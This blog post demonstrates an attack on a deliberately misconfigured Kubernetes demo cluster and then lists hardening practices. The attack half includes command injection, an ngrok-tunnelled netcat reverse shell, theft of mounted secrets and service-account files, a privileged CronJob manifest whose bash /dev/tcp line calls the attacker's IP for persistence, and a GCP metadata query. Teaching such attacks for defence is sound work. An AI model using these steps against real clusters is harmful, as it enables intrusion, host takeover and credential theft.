Attacking and Defending Kubernetes Clusters

In a digital era dominated by containerization and microservices, Kubernetes has emerged as the de facto orchestration platform. With its widespread adoption, however, comes a new frontier for cyber threats. Kubernetes clusters are increasingly becoming lucrative targets for malicious actors seeking to exploit vulnerabilities and gain unauthorized access.

Talking about the attack matrix that can be used by Attacker, there is good foundation for it, it called MITRE att&ck matrix.

For the MITRE att&ck matrix kubernetes specific case, Microsoft did a great job here:

• https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/
• https://www.microsoft.com/en-us/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/.

You can read the details of each matrix item on the original microsoft article.

In this blog, I’ll show you the scenario where the Attacker gain the access to the kubernetes cluster and how to mitigate it as the security team.

For the demo purpose I setup a kubernetes cluster that have a lot of misconfiguration and single vulnerable application inside that cluster.

Let’s take a look at the website (domain is only for an example):

Target website

Seems the website is listing all files inside the server. From the attacker perspective, the highest possibility is to do the remote code execution. let’s try it:

I catch the big fish here, this website run the linux command to list all files and the command is not sanitized so i can append the linux command in the path by adding semicolon.

Let’s try to install some useful tools:

After i installed some tools, the next step is to do the reverse shell by injecting nc command into the website path. I used https://ngrok.com for tunneling my localhost to make it accessible from the internet. You can signup there and you will get the free account. Let’s get back to it. So I used ngrok with port 8888 by using this command:

ngrok http 8888

ngrok output

From the ngrok outputs, it open up the tcp://0.tcp.ap.ngrok.io:12954 to my localhost:8888, i need to find the address of that domain by using this command:

host 0.tcp.ap.ngrok.io

the IP’s will be changed every time i stop the ngrok command, in my case right now the IP’s is 18.136.148.247.

I successfully open up my localhost into the internet, let’s keep the ngrok command and the next step is open up another terminal and run:

nc -lnv 8888

The param -lnv means it will listen the inbound connection that accept numeric only IP address with verbose in port 8888. Btw, I’m using mac, if you’re using linux you can provide 1 more param, so the command will be nc -lnvp 8888 . Let’s keep this command run, and go to the next step.

I put the reverse shell command into the website path, below is the screenshot. 18.136.148.247 is the ngrok public IP and 12954 is the port, you can change the IP and port based on the result from your ngrok command.

I’ll successfully connected to the server and i also spawn the bash:

Let’s try to get the important things inside the server:

From the env command i know this server is under kubernetes cluster and i found a password there, seems the kubernetes secret is mounted into the env. There are 2 interesting tmpfs folder mounted in this server there are /etc/gcp and /run/secrets/kubernetes.io/serviceaccount , let’s take a look at 2 of that:

there is a service account under /etc/gcp folder and there are some kubernetes default serviceaccount under /run/secrets/kubernetes.io/serviceaccount

this is the snippet from /etc/gcp/sa.json

{
  "type": "service_account",
  "project_id": "xxxxxxxxx",
  "private_key_id": "xxxxxxxxxxxxxxxxxxxxxxxx",
  "private_key": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
  "client_email": "xxxxxxxxxxxxxxxxxxxxx",
  "client_id": "xxxxxxxxxxxxxxxxxxxxxxxxxxx",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "xxxxxxxxxxxxxxxxxx",
  "universe_domain": "googleapis.com"
}

From above sa.json there is a possibility that this container is provisioned in GCP.

The default serviceaccount is mounted in this container, that’s mean i can call the kubernetes api server from this container, to simplify the process, i install kubectl by run this command:

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl

The first command that I used for kubectl is kubectl auth can-i --list . it will be list all the permission from the default service account mounted in this container:

This container have all permission for cronjobs , pods , and secrets :D. Let’s try to run kubectl command for pods and secrets:

I can also create a new cronjob that have full privilege into the host of this container:

apiVersion: batch/v1
kind: CronJob
metadata:
  name: vuln-app
  namespace: vuln-app
spec:
  schedule: "* * * * *"
  concurrencyPolicy: Forbid
  jobTemplate:
    spec:
      template:
        spec:
          hostNetwork: true
          hostPID: true
          hostIPC: true
          containers:
          - name: vuln-app
            image: ubuntu
            imagePullPolicy: IfNotPresent
            command:
            - bash
            - -c
            - "bash -i >& /dev/tcp/18.136.148.247 12954 0>&1"
            securityContext:
              privileged: true
            volumeMounts:
            - mountPath: /host
              name: noderoot
          volumes:
          - name: noderoot
            hostPath:
              path: /
          restartPolicy: OnFailure

that cronjob will be useful for maintaining the reverse shell and gain the full access to the container host.

Anyway this container might be provisioned in GCP, i’ll try to contacting the GCP metadata api:

curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'

Luckily this container scheduled in the node that have compute scope. I can do any compute things including provision a new vm instance.

I got a loot of things in that container including the credential, provisioning additional resource, and take over the kubernetes cluster.

The last step is how we mitigate all of that issues?

There are some best practice that we can follow:

• Never stored cloud credential publicly, if it leaked rotate it.
• Implement multi factor authentication in account.
• Only allowing image from trusted registries, implementing image vulnerability scanner and digital signature.
• Kubernetes cluster behind private network and only allowed network can access it.
• Implementing SAST tools like sonarqube to prevent potential of application vulnerability.
• Provide AAA(Authentication, Authorization and Accounting) to sensitive interface like ArgoCD/jenkins, if possible it can be behind private network and only allowed network can access it.
• Configure and review RBAC with the least privilege principle.
• Restrict inbound and outbound network traffic.
• Implement Network policy.
• Implementing runtime security tools to detect or and block malicious activity.
• Remove unused executable that commonly used in malicious activity like sh, bash, curl, chmod, wget, etc.
• Never store cloud service account into file inside container and better to implement workload identity.
• Avoid running ssh daemon or other management interface inside container.
• Implement admission controller or policy management tools like gatekeeper or kyverno.
• Avoid to use hostPath volume, it still needed set it to read-only mode.
• Set automountServiceAccountToken: false in workload.
• Collect kubernetes and application log to remote data storage.
• Store credentials in cloud secret store and better to integrate application with the library to access the cloud secret store.
• Audit access to cloud secret store, enable expiration and secret rotation.
  Never stored credentials in plain text like application configuration file and configmap.
• Remove unused secrets.
• Give kubernetes node with least access scope, like never give to fully compute permission.
• Use cloud object storage like gcs to store application’s data.
• Enable backup and snapshot for critical/production pv.
• Implement request and limit for each workload to avoid DoS attack.